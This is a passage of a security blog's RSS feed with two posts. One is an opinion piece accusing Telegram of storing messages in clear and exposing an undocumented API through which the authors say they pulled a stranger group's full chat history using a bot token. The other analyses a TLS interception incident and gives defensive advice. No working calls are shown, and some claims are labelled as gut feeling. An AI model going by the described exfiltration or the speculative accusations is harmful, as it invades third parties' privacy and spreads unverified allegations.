<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:hashnode="https://hashnode.com/rss"><channel><title><![CDATA[The Hacker's Choice]]></title><description><![CDATA[The Hacker's Choice]]></description><link>https://blog.thc.org</link><generator>RSS for Node</generator><lastBuildDate>Mon, 14 Oct 2024 23:10:42 GMT</lastBuildDate><atom:link href="https://blog.thc.org/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><atom:link rel="next" href="https://blog.thc.org/rss.xml?page=2"/><atom:link rel="previous" href="https://blog.thc.org/rss.xml"/><item><title><![CDATA[Keep Pavel Durov LOCKED UP]]></title><description><![CDATA[Pavel was not arrested because he criticised Macron. He was arrested because he (allegedly) facilitates a wide range of crimes, including drug trafficking and ransomware groups.
He should have also been arrested for LYING to the community and for his...]]></description><link>https://blog.thc.org/keep-pavel-durov-locked-up</link><guid isPermaLink="true">https://blog.thc.org/keep-pavel-durov-locked-up</guid><category><![CDATA[#freedurov]]></category><category><![CDATA[telegram]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Mon, 26 Aug 2024 11:28:17 GMT</pubDate><content:encoded>&lt;![CDATA[&lt;p&gt;Pavel was not arrested because he criticised Macron. He was arrested because he (allegedly) facilitates a wide range of crimes, including drug trafficking and ransomware groups.&lt;/p&gt;&lt;p&gt;He should have also been arrested for LYING to the community and for his connection to the Kremlin.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Anyone who is wilfully and knowingly LYING to the citizens about security should be locked up. #NoSnakeOil&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://blog.cryptographyengineering.com/2024/08/25/telegram-is-not-really-an-encrypted-messaging-app/&quot;&gt;Telegram is NOT encrypted&lt;/a&gt;. All your chat history is stored on TG&apos;s servers. IN CLEAR. FOREVER (see below).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Telegram is a shady company (see below).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;My gut says Telegram is an FSB operation.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 id=&quot;heading-i-dont-trust-telegram-lets-talk-about-my-feelings&quot;&gt;I don&apos;t trust Telegram. Let&apos;s talk about my feelings:&lt;/h3&gt;&lt;p&gt;In 2022, we took a look at &lt;a target=&quot;_blank&quot; href=&quot;https://core.telegram.org/&quot;&gt;Telegram&apos;s API&lt;/a&gt;. There is an undocumented API that allows an attacker (or the FSB) to DOWNLOAD any GROUP CHAT (where a bot is present). The attacker (or FSB) does not need to be in the group chat and does not need own the BOT. More so, the API smells like &quot;lawful interception&quot; all over the place.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;This is possible even if the BOT is configured to have &quot;&lt;strong&gt;NO&lt;/strong&gt; access to messages&quot;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Telegram&apos;s Disappearing Messages / Auto-Delete is a marketing farce. We exfiltrated ALL messages. Years and years of messages.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;All usernames, meta-data, media, voice recordings, join-messages...it&apos;s all there and nicely curated as HTML.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1724667295433/8e8ea174-eabb-4112-b711-a32511013c47.png&quot; alt class=&quot;image--center mx-auto&quot; /&gt;&lt;/p&gt;&lt;p&gt;TG developed a fancy looking data exfiltration API? With all the bells and whistles? Nicely curated output - and then not document it? FOR WHOM? Smells fishy to me.&lt;/p&gt;&lt;p&gt;NOTE: The attacker does not need to OWN the BOT. The attacker does not need to be inside the group chat either. The EXFILTRATION is possible unknowingly to the BOT&apos;s owner.&lt;/p&gt;&lt;p&gt;&lt;em&gt;(Above example: THC did not own the BOT. THC was not in the group chat either. THC is not affiliated to the group. Yet, THC exfiltrated the entire chat history, using a series of undocumented API requests and cURL. The concern here is that such an exfil-API exists. Not how we exploited it. The image above is just from an innocent group chat of some random people....)&lt;/em&gt;&lt;/p&gt;&lt;h3 id=&quot;heading-what-else-smells-fishy&quot;&gt;What else smells fishy&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Russia banned Signal and designated WhatsApp (Meta) as &quot;extremist organisation&quot;. Russians flock to Telegram instead - a NON-encrypted messaging App that has a government-style undocumented Data Exfiltration API. Go figure.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;There was a &quot;fake news&quot; that TG got banned in Russia. That&apos;s not true. Instead, third parties were &quot;temporarily&quot; banned for using TG&apos;s API. &lt;strong&gt;All users (in Russia) were using TG just fine. No ban. No restrictions.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Pavel claims he left Russia because of his conflict with the Russian State. I think, in time, we will learn that Pavel left Russia so that he is in a better negotiation position with the FSB (He is harder to control while living abroad and less likely to commit &quot;&lt;a target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Suspicious_deaths_of_notable_Russians_(2022%E2%80%932024)&quot;&gt;window suicides&lt;/a&gt;&quot;).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;OSINT of Aeroflot shows that &lt;a target=&quot;_blank&quot; href=&quot;https://theins.press/en/news/274165&quot;&gt;Pavel traveled to Russia 50&lt;/a&gt; times between 2015 and 2021 (no leaks available after 2021). That&apos;s almost ONCE EVERY MONTH. Why does he claim he &apos;lives in Exil&apos;?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Where are the white-papers of their engineers? Why don&apos;t we see them more often in the public? Like we see Moxie Marlinspike, Meredith Whittaker, Phil Zimmermann, ....&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Why are TG&apos;s engineers missing at every &lt;a target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Internet_Engineering_Task_Force&quot;&gt;IETF meeting&lt;/a&gt; where strong encryption and privacy is shaped?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Why is TG not open about their encryption? Why don&apos;t they allow peer-review? Or at least partly open it for public scrutiny?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Pavel applauded &lt;a target=&quot;_blank&quot; href=&quot;https://www.theguardian.com/technology/article/2024/may/18/npr-elon-musk-signal&quot;&gt;a smear campaign targeting SIGNAL&lt;/a&gt; - claiming that Signal is &apos;in bed with the government&apos;. &lt;strong&gt;Bulkshit&lt;/strong&gt;. We know the people who work at Signal since when we were kids. They have earned our trust - they have fought relentlessly to make encryption available to the masses - and fought relentlessly in many other arenas to help people escape authoritarian reach. (Russia bans Signal because it can not be intercepted🖕🖕🖕. TG gets promoted instead. Go figure.).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;WhatsApp reported &lt;a target=&quot;_blank&quot; href=&quot;https://www.bbc.co.uk/news/articles/cy54905nv0go&quot;&gt;1,5 MILLION cases to the NCMEC&lt;/a&gt; (Centre for Missing and Exploited Children). TG reported...a staggering...0 (ZERO) cases. Refused to join ANY international or non-gov organisation or charity to stop the exploitation and abuse of children. NOT ONE.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In June 2020, Putin praised TG as an example of &quot;&lt;a target=&quot;_blank&quot; href=&quot;https://kyivindependent.com/yaroslav-azhnyuk-why-doesnt-ukraine-restrict-use-of-the-russian-telegram-app/&quot;&gt;constructive cooperation&lt;/a&gt;&quot;. Meanwhile, Russian Anti-War bloggers on Telegram are disappearing like the flies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;On 20th of August 2024, Pavel traveled to &lt;a target=&quot;_blank&quot; href=&quot;https://theins.press/en/news/274165&quot;&gt;Azerbaijan&lt;/a&gt; to &lt;a target=&quot;_blank&quot; href=&quot;https://turan.az/en/politics/putin-refused-to-meet-with-pavel-durov-in-baku-783760&quot;&gt;meet Putin&lt;/a&gt;. Go figure.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;hr /&gt;&lt;p&gt;Telegram wants to be a &quot;Secure Messaging App&quot; and &quot;fight repressive governments&quot;? Here are my tips:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Implement p2p encryption by default.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Open your source. Stop hiding your encryption. It&apos;s not secure unless it&apos;s peer-reviewed. What do you have to hide?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Your Data-Exfiltration API smells SORM/FSB compliant. DISABLE IT.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;TG is the C2 of choice for (mostly) Russian ransomware groups. Be better at moderating it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Be truthful that you store all messages, regardless of &quot;auto delete&quot;-settings forever on your servers. &lt;strong&gt;STOP LYING TO THE USER&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make it obvious to non-tech users that TG is NOT secure. Not secure by default. That you keep and record every message ever sent - even if deleted by the user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Stop this shady hiding. Be in the open. Show us who you are. Meet us at conferences. Come to the IETF. Show us what you got. Your skill-set beyond data-mining, data-retention and data-exfiltration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Disclosure where your money comes from. Be open about your business plan. Show your accounts, beneficiaries, corporate structure and let&apos;s shine a light into every director&apos;s past.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Be more like &lt;a target=&quot;_blank&quot; href=&quot;https://signal.org/&quot;&gt;SIGNAL&lt;/a&gt; or the &lt;a target=&quot;_blank&quot; href=&quot;https://www.eff.org/&quot;&gt;EFF&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;hr /&gt;&lt;p&gt;Other:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.pravda.com.ua/eng/articles/2023/10/1/7422200/&quot;&gt;Who is funding Telegram&lt;/a&gt;?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.wired.com/story/the-kremlin-has-entered-the-chat/&quot;&gt;The Kremel has entered Telegram&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.kelacyber.com/durov-telegram-ceo-under-arrest/&quot;&gt;Telegram and the criminal connection&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.bbc.com/news/articles/cdey4prn3e1o&quot;&gt;BBC: Telegram is a dark web&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Note: Is it a bit harsh that we think Pavel should be locked up? Yes. Thanks for not just reading the headline. TG needs to fix their approach to Security, Privacy and Freedom. Imagine a car manufacture saying &quot;&lt;em&gt;That airbag works&lt;/em&gt;&quot; when it ain&apos;t. When it never worked as promised. Get our drift here? TG is not secure. TG logs every message you send - forever, regardless if you delete the message or not. TG has some work to do.&lt;/p&gt;&lt;p&gt;Note: THC has a public channel on Telegram. Yes. We don&apos;t seek privacy for our &lt;strong&gt;public&lt;/strong&gt; channel. You (or your favourite government) can shine a light up our arses and see that we ain&apos;t criminals. It is a &lt;strong&gt;PUBLIC&lt;/strong&gt; channel.&lt;/p&gt;&lt;p&gt; For all else, find us on SIGNAL &lt;/p&gt;&lt;hr /&gt;&lt;h2 id=&quot;heading-addendum&quot;&gt;Addendum&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;IMHO, the French reasons for the arrest are (all?) bogus (for now). It feels like they arrested him for nonsense so that they can &apos;talk&apos; and hope to find out more about the (alleged) Pavel/Kremlin link or if Pavel benefits from the ransomware groups/Cartels either directly (TG&apos;s premium feature) or indirectly via bribes and benefits-in-kind (?). This does not set a good precedence.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;I will release the API calls within 4-6 weeks (PM me if I forget). Let&apos;s give the TG users some time to disable their bots. Meanwhile, one researcher has contacted me privately, saying that he found the same API and used it to exfil TG data in the past. I&apos;m not sure who was first or that it matters.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker needs to know the BOT-Token (but does not need to be the owner of the BOT and does not need to have had any interaction with the BOT). We wanted to show that TG stores all messages in clear. TG of course has all BOT Tokens (and they dont need to use the TOKEN to access all messages in clear). We demonstrated that this is not just messages to and from the BOT but all messages of any group chat the BOT is in, even if the BOT is configured with &quot;has_access_to_messages: false&quot;. We needed the BOT token to demonstrate this. TG does not need the BOT Token to access all messages in clear.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;We contacted TG. Maybe they allow us to be part of the solution.&lt;/p&gt;&lt;p&gt; &lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1724750480065/93ed6eee-e30d-48f5-8135-e4f4edfe55a3.png&quot; alt class=&quot;image--center mx-auto&quot; /&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;]]&gt;</content:encoded><hashnode:content>&lt;![CDATA[&lt;p&gt;Pavel was not arrested because he criticised Macron. He was arrested because he (allegedly) facilitates a wide range of crimes, including drug trafficking and ransomware groups.&lt;/p&gt;&lt;p&gt;He should have also been arrested for LYING to the community and for his connection to the Kremlin.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Anyone who is wilfully and knowingly LYING to the citizens about security should be locked up. #NoSnakeOil&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://blog.cryptographyengineering.com/2024/08/25/telegram-is-not-really-an-encrypted-messaging-app/&quot;&gt;Telegram is NOT encrypted&lt;/a&gt;. All your chat history is stored on TG&apos;s servers. IN CLEAR. FOREVER (see below).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Telegram is a shady company (see below).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;My gut says Telegram is an FSB operation.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 id=&quot;heading-i-dont-trust-telegram-lets-talk-about-my-feelings&quot;&gt;I don&apos;t trust Telegram. Let&apos;s talk about my feelings:&lt;/h3&gt;&lt;p&gt;In 2022, we took a look at &lt;a target=&quot;_blank&quot; href=&quot;https://core.telegram.org/&quot;&gt;Telegram&apos;s API&lt;/a&gt;. There is an undocumented API that allows an attacker (or the FSB) to DOWNLOAD any GROUP CHAT (where a bot is present). The attacker (or FSB) does not need to be in the group chat and does not need own the BOT. More so, the API smells like &quot;lawful interception&quot; all over the place.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;This is possible even if the BOT is configured to have &quot;&lt;strong&gt;NO&lt;/strong&gt; access to messages&quot;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Telegram&apos;s Disappearing Messages / Auto-Delete is a marketing farce. We exfiltrated ALL messages. Years and years of messages.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;All usernames, meta-data, media, voice recordings, join-messages...it&apos;s all there and nicely curated as HTML.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1724667295433/8e8ea174-eabb-4112-b711-a32511013c47.png&quot; alt class=&quot;image--center mx-auto&quot; /&gt;&lt;/p&gt;&lt;p&gt;TG developed a fancy looking data exfiltration API? With all the bells and whistles? Nicely curated output - and then not document it? FOR WHOM? Smells fishy to me.&lt;/p&gt;&lt;p&gt;NOTE: The attacker does not need to OWN the BOT. The attacker does not need to be inside the group chat either. The EXFILTRATION is possible unknowingly to the BOT&apos;s owner.&lt;/p&gt;&lt;p&gt;&lt;em&gt;(Above example: THC did not own the BOT. THC was not in the group chat either. THC is not affiliated to the group. Yet, THC exfiltrated the entire chat history, using a series of undocumented API requests and cURL. The concern here is that such an exfil-API exists. Not how we exploited it. The image above is just from an innocent group chat of some random people....)&lt;/em&gt;&lt;/p&gt;&lt;h3 id=&quot;heading-what-else-smells-fishy&quot;&gt;What else smells fishy&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Russia banned Signal and designated WhatsApp (Meta) as &quot;extremist organisation&quot;. Russians flock to Telegram instead - a NON-encrypted messaging App that has a government-style undocumented Data Exfiltration API. Go figure.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;There was a &quot;fake news&quot; that TG got banned in Russia. That&apos;s not true. Instead, third parties were &quot;temporarily&quot; banned for using TG&apos;s API. &lt;strong&gt;All users (in Russia) were using TG just fine. No ban. No restrictions.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Pavel claims he left Russia because of his conflict with the Russian State. I think, in time, we will learn that Pavel left Russia so that he is in a better negotiation position with the FSB (He is harder to control while living abroad and less likely to commit &quot;&lt;a target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Suspicious_deaths_of_notable_Russians_(2022%E2%80%932024)&quot;&gt;window suicides&lt;/a&gt;&quot;).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;OSINT of Aeroflot shows that &lt;a target=&quot;_blank&quot; href=&quot;https://theins.press/en/news/274165&quot;&gt;Pavel traveled to Russia 50&lt;/a&gt; times between 2015 and 2021 (no leaks available after 2021). That&apos;s almost ONCE EVERY MONTH. Why does he claim he &apos;lives in Exil&apos;?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Where are the white-papers of their engineers? Why don&apos;t we see them more often in the public? Like we see Moxie Marlinspike, Meredith Whittaker, Phil Zimmermann, ....&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Why are TG&apos;s engineers missing at every &lt;a target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Internet_Engineering_Task_Force&quot;&gt;IETF meeting&lt;/a&gt; where strong encryption and privacy is shaped?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Why is TG not open about their encryption? Why don&apos;t they allow peer-review? Or at least partly open it for public scrutiny?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Pavel applauded &lt;a target=&quot;_blank&quot; href=&quot;https://www.theguardian.com/technology/article/2024/may/18/npr-elon-musk-signal&quot;&gt;a smear campaign targeting SIGNAL&lt;/a&gt; - claiming that Signal is &apos;in bed with the government&apos;. &lt;strong&gt;Bulkshit&lt;/strong&gt;. We know the people who work at Signal since when we were kids. They have earned our trust - they have fought relentlessly to make encryption available to the masses - and fought relentlessly in many other arenas to help people escape authoritarian reach. (Russia bans Signal because it can not be intercepted🖕🖕🖕. TG gets promoted instead. Go figure.).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;WhatsApp reported &lt;a target=&quot;_blank&quot; href=&quot;https://www.bbc.co.uk/news/articles/cy54905nv0go&quot;&gt;1,5 MILLION cases to the NCMEC&lt;/a&gt; (Centre for Missing and Exploited Children). TG reported...a staggering...0 (ZERO) cases. Refused to join ANY international or non-gov organisation or charity to stop the exploitation and abuse of children. NOT ONE.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In June 2020, Putin praised TG as an example of &quot;&lt;a target=&quot;_blank&quot; href=&quot;https://kyivindependent.com/yaroslav-azhnyuk-why-doesnt-ukraine-restrict-use-of-the-russian-telegram-app/&quot;&gt;constructive cooperation&lt;/a&gt;&quot;. Meanwhile, Russian Anti-War bloggers on Telegram are disappearing like the flies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;On 20th of August 2024, Pavel traveled to &lt;a target=&quot;_blank&quot; href=&quot;https://theins.press/en/news/274165&quot;&gt;Azerbaijan&lt;/a&gt; to &lt;a target=&quot;_blank&quot; href=&quot;https://turan.az/en/politics/putin-refused-to-meet-with-pavel-durov-in-baku-783760&quot;&gt;meet Putin&lt;/a&gt;. Go figure.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;hr /&gt;&lt;p&gt;Telegram wants to be a &quot;Secure Messaging App&quot; and &quot;fight repressive governments&quot;? Here are my tips:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Implement p2p encryption by default.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Open your source. Stop hiding your encryption. It&apos;s not secure unless it&apos;s peer-reviewed. What do you have to hide?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Your Data-Exfiltration API smells SORM/FSB compliant. DISABLE IT.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;TG is the C2 of choice for (mostly) Russian ransomware groups. Be better at moderating it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Be truthful that you store all messages, regardless of &quot;auto delete&quot;-settings forever on your servers. &lt;strong&gt;STOP LYING TO THE USER&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make it obvious to non-tech users that TG is NOT secure. Not secure by default. That you keep and record every message ever sent - even if deleted by the user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Stop this shady hiding. Be in the open. Show us who you are. Meet us at conferences. Come to the IETF. Show us what you got. Your skill-set beyond data-mining, data-retention and data-exfiltration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Disclosure where your money comes from. Be open about your business plan. Show your accounts, beneficiaries, corporate structure and let&apos;s shine a light into every director&apos;s past.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Be more like &lt;a target=&quot;_blank&quot; href=&quot;https://signal.org/&quot;&gt;SIGNAL&lt;/a&gt; or the &lt;a target=&quot;_blank&quot; href=&quot;https://www.eff.org/&quot;&gt;EFF&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;hr /&gt;&lt;p&gt;Other:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.pravda.com.ua/eng/articles/2023/10/1/7422200/&quot;&gt;Who is funding Telegram&lt;/a&gt;?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.wired.com/story/the-kremlin-has-entered-the-chat/&quot;&gt;The Kremel has entered Telegram&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.kelacyber.com/durov-telegram-ceo-under-arrest/&quot;&gt;Telegram and the criminal connection&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.bbc.com/news/articles/cdey4prn3e1o&quot;&gt;BBC: Telegram is a dark web&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Note: Is it a bit harsh that we think Pavel should be locked up? Yes. Thanks for not just reading the headline. TG needs to fix their approach to Security, Privacy and Freedom. Imagine a car manufacture saying &quot;&lt;em&gt;That airbag works&lt;/em&gt;&quot; when it ain&apos;t. When it never worked as promised. Get our drift here? TG is not secure. TG logs every message you send - forever, regardless if you delete the message or not. TG has some work to do.&lt;/p&gt;&lt;p&gt;Note: THC has a public channel on Telegram. Yes. We don&apos;t seek privacy for our &lt;strong&gt;public&lt;/strong&gt; channel. You (or your favourite government) can shine a light up our arses and see that we ain&apos;t criminals. It is a &lt;strong&gt;PUBLIC&lt;/strong&gt; channel.&lt;/p&gt;&lt;p&gt; For all else, find us on SIGNAL &lt;/p&gt;&lt;hr /&gt;&lt;h2 id=&quot;heading-addendum&quot;&gt;Addendum&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;IMHO, the French reasons for the arrest are (all?) bogus (for now). It feels like they arrested him for nonsense so that they can &apos;talk&apos; and hope to find out more about the (alleged) Pavel/Kremlin link or if Pavel benefits from the ransomware groups/Cartels either directly (TG&apos;s premium feature) or indirectly via bribes and benefits-in-kind (?). This does not set a good precedence.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;I will release the API calls within 4-6 weeks (PM me if I forget). Let&apos;s give the TG users some time to disable their bots. Meanwhile, one researcher has contacted me privately, saying that he found the same API and used it to exfil TG data in the past. I&apos;m not sure who was first or that it matters.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker needs to know the BOT-Token (but does not need to be the owner of the BOT and does not need to have had any interaction with the BOT). We wanted to show that TG stores all messages in clear. TG of course has all BOT Tokens (and they dont need to use the TOKEN to access all messages in clear). We demonstrated that this is not just messages to and from the BOT but all messages of any group chat the BOT is in, even if the BOT is configured with &quot;has_access_to_messages: false&quot;. We needed the BOT token to demonstrate this. TG does not need the BOT Token to access all messages in clear.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;We contacted TG. Maybe they allow us to be part of the solution.&lt;/p&gt;&lt;p&gt; &lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1724750480065/93ed6eee-e30d-48f5-8135-e4f4edfe55a3.png&quot; alt class=&quot;image--center mx-auto&quot; /&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;]]&gt;</hashnode:content><hashnode:coverImage>https://cdn.hashnode.com/res/hashnode/image/upload/v1724671245499/7642ef6e-0553-4127-bb57-d69be0b08b86.jpeg</hashnode:coverImage></item><item><title><![CDATA[HTTPS Interception by a state actor in Germany]]></title><description><![CDATA[Some comments regarding the recently discovered Interception of HTTPS/TLS/SSL traffic by a state actor in Germany.
Ten years ago, in 2013, the IETF #88 (which is the standardization body of the Internet) declared that the Internet surveillance progra...]]></description><link>https://blog.thc.org/https-interception-by-a-state-actor-in-germany</link><guid isPermaLink="true">https://blog.thc.org/https-interception-by-a-state-actor-in-germany</guid><category><![CDATA[TLS]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><category><![CDATA[privacy]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Sat, 21 Oct 2023 06:55:26 GMT</pubDate><content:encoded>&lt;![CDATA[&lt;p&gt;Some comments regarding the recently discovered &lt;a target=&quot;_blank&quot; href=&quot;https://notes.valdikss.org.ru/jabber.ru-mitm/&quot;&gt;Interception of HTTPS/TLS/SSL traffic&lt;/a&gt; by a state actor in Germany.&lt;/p&gt;&lt;p&gt;Ten years ago, in 2013, the IETF #88 (which is the standardization body of the Internet) declared that the Internet surveillance program by the NSA (Snowden leak) constitutes an &quot;&lt;strong&gt;Attack against the Internet and the IETF&lt;/strong&gt;&quot;. Ten years later, the Internet is still under attack. HTTPS is not safe. You browsing the Internet, doing online banking, forming a political opposition, or being a journalist, &lt;strong&gt;is not safe&lt;/strong&gt;.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The interception happened at layer-7 of the ISO/OSI model. This is odd (for a state actor). Such an attack can be detected by observing the changing TCP counters (SEQ/ACK) and the TTL. The intercept should have been done at layer-3 and without changing the IP/TCP/TTL counters ...or the size of the packets.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker made several mistakes. The most noticeable is the expired certificate, but also a bad CommonName (CN), TTL mess-up, network outage, and not utilizing a fully transparent proxy ...&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker messed up the ARP table.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker did not steal the original certificate/key from the server.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;The interception does not have the typical hallmarks of a professional state actor.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Recommendations for server admins and app developers:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Do not use a public Certification Authority. If you do, then the app/client should not load the entire CA bundle. It should only load the one CA that was used to sign the server&apos;s certificate.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make use of &lt;a target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Certificate_Transparency&quot;&gt;Certificate Transparency&lt;/a&gt; (CT) and get &lt;a target=&quot;_blank&quot; href=&quot;https://sslmate.com/certspotter/&quot;&gt;notified&lt;/a&gt; when your issuer or another Certification Authority (CA) issues a new certificate for your domain name. Most modern browsers (but not all) reject any certificate that is not logged by CT. Most (all?) other TLS applications will accept unlogged certificates.&lt;/p&gt;&lt;p&gt; Other cloud services offer to regularly check your TLS services for a changing certificate. The attacker could easily decide to &apos;not intercept&apos; the traffic from those crawlers/spiders.&lt;/p&gt;&lt;p&gt; Ultimately, it should be the client software that yells a warning when the server&apos;s certificate changes.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Certification Authority Authorization (CAA) is a voluntary option and it is not enforced by the browser or client. &lt;strong&gt;This will not happen anytime 